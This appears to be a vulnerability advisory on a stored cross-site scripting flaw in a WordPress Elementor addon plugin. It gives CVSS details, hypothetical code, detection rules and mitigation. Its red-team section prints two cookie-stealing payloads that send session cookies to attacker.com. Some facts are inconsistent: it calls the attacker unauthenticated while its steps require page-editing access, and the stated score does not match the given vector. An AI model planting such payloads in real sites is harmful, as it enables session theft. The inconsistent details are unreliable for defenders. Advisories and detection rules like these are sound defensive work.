CVE-2024-47329

Executive Summary

CVE-2024-47329 is a stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin ElementsReady Addons for Elementor (element-ready-lite) by Quomodosoft. The vulnerability exists in versions up to and including 6.4.0 due to improper neutralization of user-supplied input during web page generation. An unauthenticated attacker can inject arbitrary JavaScript into the plugin’s output, which is then executed in the browsers of other users (including administrators) when they view the affected page. This can lead to session hijacking, credential theft, defacement, or redirection to malicious sites. No public exploit code or proof-of-concept is currently available, and no official patch has been released.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin from the WordPress dashboard or via direct download are at risk. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is part of the WordPress ecosystem. Administrators should verify the integrity of their plugin files and monitor for any unauthorized modifications.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must visit a crafted page)
• Scope: Changed (impact may extend beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the potential for stored XSS in a widely-used Elementor addon elevates the risk for WordPress sites.

Deep Dive & Mechanics

The vulnerability resides in the element-ready-lite plugin, which provides additional widgets and functionality for the Elementor page builder. The plugin fails to sanitize or escape user input before outputting it in the HTML of a page or post. Specifically, input fields within Elementor widgets (e.g., custom CSS, HTML, or text fields) are not properly neutralized.

Attack Flow:

1. An attacker identifies a vulnerable input field in an Elementor widget provided by the plugin.
2. The attacker injects a malicious payload, such as <script>alert('XSS')</script>, into the field.
3. The plugin stores the payload in the WordPress database without sanitization.
4. When an administrator or other user views the page containing the widget, the payload executes in their browser.
5. The attacker can then steal cookies, session tokens, or perform actions on behalf of the victim.

Root Cause: The plugin uses functions like echo or the_content without applying WordPress’s built-in escaping functions (e.g., esc_html(), wp_kses_post(), or esc_attr()).

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common XSS fixes.

Vulnerable Code (example from a widget):

<?php
// Vulnerable: direct output without escaping
echo $settings['custom_text'];
?>

Patched Code (hypothetical):

<?php
// Patched: escape output
echo esc_html( $settings['custom_text'] );
?>

The patched version uses esc_html() to convert special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A WordPress site with the vulnerable plugin (version <= 6.4.0) installed and activated.
• An Elementor page using a widget from the plugin that accepts user input.

Steps:

1. Create a new page or edit an existing one with Elementor.
2. Add a vulnerable widget (e.g., "Custom HTML" or "Text" widget from ElementsReady).
3. In the widget’s input field, inject the following payload:

   <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

4. Save the page and wait for an administrator to view it.
5. The administrator’s browser will send their cookies to the attacker’s server.

Alternative Payload (for session hijacking):

<img src=x onerror="fetch('https://attacker.com/steal?data='+document.cookie)">

Blue Team (Defense & Detection)

Detection:

• Monitor web server logs for requests containing <script> or onerror patterns.
• Use a Web Application Firewall (WAF) to block common XSS payloads.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Mitigation:

• Disable the plugin until a patch is released.
• Manually sanitize any user input in the plugin’s widgets using WordPress functions.
• Use a security plugin (e.g., Wordfence) to block malicious requests.

Indicators of Compromise (IOCs)

• File Hashes (SHA-256): (None available, but monitor for modified plugin files)
• Suspicious URLs: https://attacker.com/steal.php?cookie=*
• Log Entries: Requests containing %3Cscript%3E or onerror= in the query string or POST body.
• Database Entries: Posts or post meta containing <script> tags in widget settings.

Detection Engineering

YARA Rule

rule CVE_2024_47329_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting CVE-2024-47329 in WordPress plugin ElementsReady"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-47329"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/is
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/is
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-47329 XSS Attempt in WordPress
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS payloads in HTTP requests targeting vulnerable WordPress plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'alert('
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in admin panels
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-47329 XSS Payload Detected"; flow:to_server,established; content:"<script"; http_uri; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2024-47329 XSS onerror Detected"; content:"onerror="; http_uri; nocase; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Update to the latest version if a patched version becomes available.
3. Scan the WordPress database for any injected malicious content using a security plugin.

Long-Term Measures:

• Implement a Web Application Firewall (WAF) with XSS rules.
• Enforce Content Security Policy (CSP) headers.
• Regularly update all WordPress plugins and themes.
• Conduct code reviews for custom plugins to ensure proper input sanitization.

Patch Status: UNKNOWN. Monitor the plugin’s official page for updates.

Valters IT
DevSecOps & Cyber Threat Intelligence